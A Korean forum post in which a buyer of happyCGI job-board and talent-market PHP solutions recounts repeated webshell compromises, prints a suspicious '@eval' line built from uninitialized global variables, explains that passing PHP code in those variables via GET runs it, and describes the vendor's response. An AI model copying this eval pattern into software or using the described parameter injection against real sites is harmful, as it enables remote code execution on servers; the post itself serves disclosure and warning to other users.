후기 해피CGI (happyCGI) 솔루션때문에 또 밤을 샜습니다.
페이지 정보
본문
2년전에 구인구직 솔루션과 재능마켓 솔루션을 해피CGI (happyCGI) cgimall.co.kr 에서 구입하게 되었습니다.
오래전부터 개발해서 유지보수 해 온 코드라서 그런지 php버전을 올려도 지원이 안되고 해서 5.2대로 해서 운영하고 있었습니다.
그런데 이 솔루션을 서버에 설치해서 서비스하는 동안 서버에 수없이 웹셀이 업로드 되고 그것때문에 파일업로드 등 여러가지 자잘한 버그들을 일일이 찾아서 수정하고
서버 또한 수차 재 설치 했던거 같습니다.
그러던 어제 또 서버에 웹셀이 심겼고 꼬박 밤을 새면서 보안허점을 찾게 되었습니다.
접속로그를 통해서 웹셀을 심은 경로를 알아내게 되었고 파일을 열어서 코드를 보는 순간 아, 이건 백도어?다 라는 생각밖에 안 들었습니다.
부랴부랴 다른 해피CGI 솔루션들도 찾아봤는데 역시나 똑 같은 파일들에 백도어?로 보이는 코드가 들어 있었습니다.
분명히 코드상에서 아무런 맥락이 없이 로직에서도 불필요한 eval 함수와 쓰지도 않는 초기화 하지 않은 임시 변수를 사용하고 있더군요.
참고로 해피CGI 솔루션은 구조상 get으로 넘어오던 post로 넘어오던 전부 글로벌 변수로 사용하고 있습니다.
관건적인 메인라이브러들이 ioncube로 암호화 된 관계로 아예 볼수도 수정도 할수 없는 상황이구요.
eval 함수 또한 템플릿구현에 사용되고 있어서 Disable 하면 솔루션 자체가 작동을 안 하구요.
아래는 문제의 그 코드입니다. (악용될 소지를 고려하여 파일명은 밝히지 않도록 하겠습니다만, 해피CGI (happyCGI)솔루션이면 기본으로 거의 다 들어가 있습니다.)
#######################################################################################################
# 도배방지키 : (개발자명을 지웠습니다.) 2009.08.01
#######################################################################################################
$dobae_1 = rand(1,9);$dobae_2 = rand(1,9);$dobae_3 = rand(1,9);$dobae_4 = rand(1,9);
$gara1 = "<font color=#999999>".rand(0,9)."</font>";
$gara2 = "<font color=#999999>".rand(0,9)."</font>";
$gara3 = "<font color=#999999>".rand(0,9)."</font>";
$gara4 = "<font color=#999999>".rand(0,9)."</font>";
$rand1 = rand(100,9000);
$rand2 = rand(100,9000);
$rand3 = rand(100,9000);
$rand4 = rand(100,9000);
@eval('$dobae_org =' .$dobae_1.$dobae_p1.$dobae_2.$dobae_p2.$dobae_3.$dobae_p3.$dobae_4. ';');
$dobae_org = $dobae_number - $dobae_org;
#######################################################################################################
문제의 한줄 코드입니다.
@eval('$dobae_org =' .$dobae_1.$dobae_p1.$dobae_2.$dobae_p2.$dobae_3.$dobae_p3.$dobae_4. ';');
저는 이 코드가 아주 이상해 보였습니다.
도배방지키 4자리수를 랜덤으로 생성해서 $dobae_org 라는 변수에 문자열로 붙여서 대입하는 부분인데, 굳이 eval함수를 사용했고 거기에 이부분외엔 사용하지도 않은
초기화도 않은 $dobae_p1,$dobae_p2,$dobae_p3 변수를 사용하여 이 변수를 get으로 넘기면 넘어온 php코드를 아무런 제약없이 실행가능하다는 부분입니다.
여기에서 궁금한건 왜
$dobae_org = $dobae_1.$dobae_2.$dobae_3.$dobae_4;
한줄로 간단히 랜덤수자가 할당된 변수들을 문자열로 붙여서 $dobae_org로 대입하면 될 코드가 굳이 eval 함수로 구현해야 했으며 그것도 에러를 뿜을까 앞에 @까지 붙였냐는것입니다.
그리고 초기화도 안된 어디에서도 쓰지도 않는 빈값의 $dobae_p1,$dobae_p2,$dobae_p3 변수들을 굳이 4자리수 키외에 추가 해야 했는지에 대해서도 도무지 이해를 할수가 없었습니다.
$dobae_p1,$dobae_p2,$dobae_p3 이 변수들은 get으로 주소줄로 위험한 php코드들을 전송하여 eval 함수를 이용해서 php코드를 실행시키는 등 한줄 백도어 코드랑 너무나 흡사했습니다.
그리고 공개소스가 아닌 유료 솔루션이라 누구나 쉽게 소스를 볼수도 없고 파일 또한 많아서 일일이 확인하기도 쉽지 않은데 정확히 저 코드를 이용하여 해킹시도로 저희를 괴롭히는 자도 누구일지 궁금하더군요.
관련 파일들을 일일이 찾아내서 수정을 한 후, 아무래도 이건 너무하다 싶어 해피CGI (happyCGI)에 전화상담 요청을 하였습니다.
관련 코드를 확인시켜 드리며 이건 분명히 백도어인거 같다고 했더니, 그런 코드는 있으나 백도어는 아니며 실제 해킹이 가능한지 재현해 보라고 하였습니다.
저희가 무슨 해커도 아닌 상황에서 이런 재현 요구에 어이가 없었으나 시간을 들여서 해피CGI (happyCGI)의 솔류션 데모 사이트에 저희가 해킹당했던 상황을 추측하여
백도어로 추정되는 그 코드 한줄을 이용하여 파일을 그쪽 서버에 심어서 보여줬습니다.
아래는 해피CGI (happyCGI) 와의 상담 내용입니다.
저희가 어렵게 저 한줄코드를 통해서 해킹이 가능하다는걸 보여주면서부터 코드가 문제가 있음은 인정하지만 절대로 악의적으로 심은 백도어는 아니라고 하는것이였습니다.
솔루션 판매를 하는 회사 입장에서 백도어가 아니라고 하는것까진 이해를 할만하더군요.
회사이미지도 달려 있고 솔루션 판매사가 백도어를 고의적으로 심어서 팔리는 없겠다는 생각도 들었구요.
이 솔류션을 사고 거의 1년 6개월동안 수도 없이 밤새며 보안 허점을 찾아야했고 서비스를 중지하고 서버를 재 설치해야 했고 그런 와중에 발견된 버그들을 기술지원 상담게시판을 통해서 여러차례 제보도 했습니다.
이런 솔류션을 돈주고 사서 그동안 고생을 했고 오늘도 엄연한 백도어로 악용될수 있는 숨어 있는 코드 한줄 때문에 밤을 꼬박 샌 저희한테 재현요구까지 하는 대응에 화가 나 있는 상황에서 그럼 보상이라도 해달라고 했습니다.
그랬더니 내부적으로 논의하고 돌아온 답변에는 향후 솔루션을 구매할때 할인을 해준다거나 업그레이드를 해준다는 등 등 그런 보상을 제안을 하더군요.
솔직히 이제 더이상 해피CGI (happyCGI)솔루션을 쓸 엄두도 안 나고 버그와 이런 백도어?까지 발견되어 더 이상은 구매할 의향도 없고 무서워서 못 쓰겠다고 했습니다.
처음에는 아니라고 하다가 해킹이 가능하다는걸 재현까지 해줘서야 미안하다고 하고 고객이 피해를 입었음에도 안일한 대응에 짜증도 나고해서 원하는게 뭐냐고 하는 질문에 솔루션 구매한 가격만큼이라도 환불 보상해달라고 했습니다.
한참 지나서 다시 연락와서 하는 말이 내부 논의 결과 아무 보상도 못 해준다더군요.
두 솔루션 구매비용이 거의 5백만에 가까운데 결국은 돈 팔고 백도어?를 샀나 하는 자괴감과 아울러 다른 저 같은 해피CGI (happyCGI) 솔루션 사용자들도 빨리 저 코드부분을 찾아내여 신속한 패치를 하여 저처럼 이런 피해를 입지 말았으면 하는 바램에서 이 글을 씁니다.
코로나다 뭐다 여러모로 불편한데 오늘 또 서버 재 설치를 고민해야 하는 상황이네요.
댓글목록
imerong님의 댓글
imerong 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (1.♡.♡.59) 작성일
개인적으로 재미난(?) 부분이 있어 찾아보니 eval 함수에 대한 보안 경고가 무척 오래 전부터 회자되어왔네요. 상용 library 에서 사용하기엔 참 부담스러운 코드 인 것 같은데요. 왜 저렇게 구현했는지는 전체 코드가 없으니 개인적인 추측만 하게됩니다.
과거 경험에 아주 특별한 경우 runtime 시 동적으로 코드를 발생해야하는 경우가 있어서 언어에서 지원되는 reflection 기능을 사용해서 해결했습니다. 해당 기능은 늘 시스템의 보안모델을 고려해서 사용하도록 되어있던걸로 기억이 납니다.
eval 함수의 기능이 거의 그런 기능을 제공하지만 보안적인 문제에 대해서는 전혀 고려가 되지 않기 때문에 일반적인 환경에서는 불가능한 솔루션일듯 합니다. 아무튼 많은 시간 고생하셨을것 같습니다. 마음의 평화를 찾기를 응원합니다.